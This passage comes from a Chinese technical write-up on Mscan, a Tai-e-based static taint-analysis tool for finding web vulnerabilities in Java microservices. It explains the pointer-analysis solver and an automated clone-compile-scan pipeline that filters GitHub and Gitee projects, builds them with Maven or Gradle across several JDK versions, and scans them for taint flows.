f 其中算法的伪代码中的添加入口点以及addReachableDafaultSolver#initialize方法实现,其首先对一些全局变量进行了初始化,核心是通过插件系统的onStart方法调用去实现,依靠插件系统可以实现在整个程序分析的生命周期中的各个环节的实时计算,这里通过onStart方法调用,一方面对装载的各个插件进行初始化,另一方面对算法中的addEntry以及addReachable进行实现

g 而对于solve方法的第二部分,也即是analyze则对应于伪代码中的work list的处理过程,核心是对于work list中的各个元素,首先判断其指针集是否存在变化,若存在变化则处理对应的store以及load操作

1 对于指针分析的分析结果其通过构建一个PointerAnalysisResultImpl对象,存储了调用图,指针流图,指针集等丰富的信息,且最终的分析结果根据analysis-id的对应关系保存在了World

Real world 上述内容主要是对静态分析框架的整个框架的原理以及代码实现进行了阐述,下面基于上面的静态分析框架为基座,构建了一个clone-complie-scan全流程的自动化漏洞检测闭环 clone 首先是clone环节,对于目标项目的选择,我们采用github以及gitee平台提供的筛选的功能对高star的Java项目进行初步筛选,后续得益于LLM的理解能力,通过LLM对初筛的项目文档进行理解对项目进行分类,具体可以从两个角度进行分类 1使用maven进行项目编译还是gradle进行项目编译:通过识别项目的编译方式以便于下一步的自动化编译过程 2项目所具备的特征:例如是一个微服务项目或者电商项目,通过这样的方法对业务进行分类 同时,在收集的过程中,也不单单局限于仅对微服务相关项目进行收集,可对全部的基于Java开发的项目进行收集进行批量检测

image.png

如上图所示,则是收集的一些Java项目的样例,通过yml文件的方式将待检测项目进行归类 之后分别提取每一个项目的URL,通过调用系统命令 git clone的方法将项目克隆到本地

compile 而对于编译阶段,核心是对上一阶段克隆的项目进行编译处理,能够将项目打包成一个一个完成的jar包,以便于收集这些项目包使用静态分析工具进行漏洞检测任务。 通过前面项目收集过程中标注的该项目所采用的项目是基于Maven还是Gradle进行开发的,我们选择不同的系统命令进行Java项目的编译

经过我的全过程的测试,值得注意的是,在进行项目编译的过程中不仅仅需要动态的选择不同的编译命令进行Java项目的编译,在编译过程中其核心会使用 JAVA_HOME这一环境变量所指向的JDK版本环境参与项目的编译过程,千人千面,不同的Java项目所能够支持的最低JDK版本不同,这里需要进行尝试性编译,也即是动态的调整JDK版本,按照从高到低的JDK版本对项目进行自动化编译,能够明显的降低仅采用同一种JDK版本进行编译而导致的编译失败几率。 在编译成功后会在对应目录中生成打包的Jar包,Maven项目默认的编译目录为 target,而Gradle项目默认的编译目录为 build

image.png

scan 上一阶段仅仅是对克隆的项目进行了编译、打包Jar任务,对于多模块开发的Java项目,其生成的Jar包散落在各个文件夹下的 target目录中,以便于静态工具进行扫描,我们首先需要将编译成功的Jars包进行收集整理到一起

通过上述代码可以根据规则提取生成的jar包

image.png

而对于核心的扫描任务,我们首先对Mscan进行改造,使得将其打包后可以动态的修改options.yml文件以便于指定待检测项目以及检测过程中产生文件的保存位置

通过以上代码能够对所有编译成功的项目执行静态分析任务 其检测结果保存在每一个项目名文件夹下的 microservice-taint-flows.txt文件中

image.png

对于不存在Taint通路的项目其内容为空,在大量项目中筛选存在有通路的可以使用以下脚本输出可能存在漏洞的项目

对于最终的检测结果也算是有所收获

image.png

Conclusion 上文对Mscan针对微服务应用这一特定应用进行了建模,针对微服务应用中的各个服务间通过OpenFeign、Grpc、Kafka以及RabbitMQ等框架进行通信的方式构建了一个服务依赖图,用于表征数据流的传递路径,进一步的进行污点传播进行外部可控的Web漏洞检测。通过对类似于OpenFeign等框架的通信机制的分析,使用Tai-e插件系统提供的生命周期API构建调用边,对于一些其他未使用这类框架进行服务间通信的微服务应用可以采用类似的方式扩展的构建调用边以便于支持其漏洞检测任务。同时也对静态分析框架在完整流程的重要阶段过程进行了阐述,也即是Soot程序分析,以及指针分析算法的实现。最后也是基于静态分析框架为核心构建了一个 clone-compile-scan全流程的workflow。